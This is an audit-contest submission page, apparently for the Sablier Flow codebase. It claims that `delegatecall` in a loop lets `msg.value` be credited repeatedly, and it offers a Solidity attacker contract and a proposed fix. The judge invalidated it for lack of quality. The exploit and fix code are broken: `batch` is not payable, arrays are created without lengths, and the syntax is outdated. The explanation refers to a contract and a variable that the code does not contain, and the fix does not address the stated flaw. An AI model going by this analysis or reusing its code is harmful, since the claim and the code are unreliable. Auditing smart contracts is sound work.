Flow
Sablier
FoundryDeFi
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Using `delegatecall` in loop

nitinaimshigh

Summary

When calling `delegatecall` the same `msg.value` amount will be accredited multiple times.

Vulnerability Details :

The issue in Batch.sol at line 20 is that it uses delegatecall in a loop, which can lead to the same msg.value amount being accredited multiple times.

Here's a proof of code that demonstrates the issue:

pragma solidity ^0.8.0;
​
contract Batch {
function batch(bytes[] calldata calls) external {
uint256 count = calls.length;
for (uint256 i = 0; i < count; ++i) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
if (!success) {
revert Errors.BatchError(result);
}
}
}
​
function receiveValue() public payable {
// This function will be called multiple times with the same msg.value
// because delegatecall is used in a loop
uint256 value = msg.value;
// Do something with the value
}
}
​
contract Attacker {
Batch public batchContract;
​
constructor(address _batchContract) public {
batchContract = Batch(_batchContract);
}
​
function attack() public payable {
bytes[] memory calls = new bytes[]();
calls[0] = abi.encodeWithSignature("receiveValue()");
calls[1] = abi.encodeWithSignature("receiveValue()");
​
batchContract.batch.value(msg.value)(calls);
}
}

In this example, the VulnerableContract has a batch function that uses delegatecall to execute a list of calls. The receiveValue function simply adds the msg.value to the totalValue variable.

The Attacker contract has an attack function that calls the batch function on the VulnerableContract with two calls to the receiveValue function. The msg.value is set to a non-zero value.

When the attack function is called, the batch function will execute the two calls to receiveValue, and the totalValue variable will be incremented twice, even though the msg.value is only sent once. This demonstrates the issue with using delegatecall in a loop.

Impact : It is very likely that if not rectified, it will result in loss of funds.

Tools Used : VS code, Slither, Aderyn, Solidity Metrics

Recommendations : To fix this issue, you can use a different approach to handle the calls in the loop, such as using a call stack or a queue.

Here's an example of how you can modify the code to use a call stack:

pragma solidity ^0.8.0;
​
contract Batch {
struct Call {
bytes data;
address target;
}
​
function batch(bytes[] calldata calls) external {
Call[] memory callStack = new Call[]();
​
for (uint256 i = 0; i < calls.length; i++) {
callStack[i] = Call(calls[i], address(this));
}
​
for (uint256 i = 0; i < callStack.length; i++) {
(bool success, bytes memory result) = callStack[i].target.call(callStack[i].data);
if (!success) {
revert Errors.BatchError(result);
}
}
}
​
function receiveValue() public payable {
// This function will be called only once with the correct msg.value
uint256 value = msg.value;
// Do something with the value
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.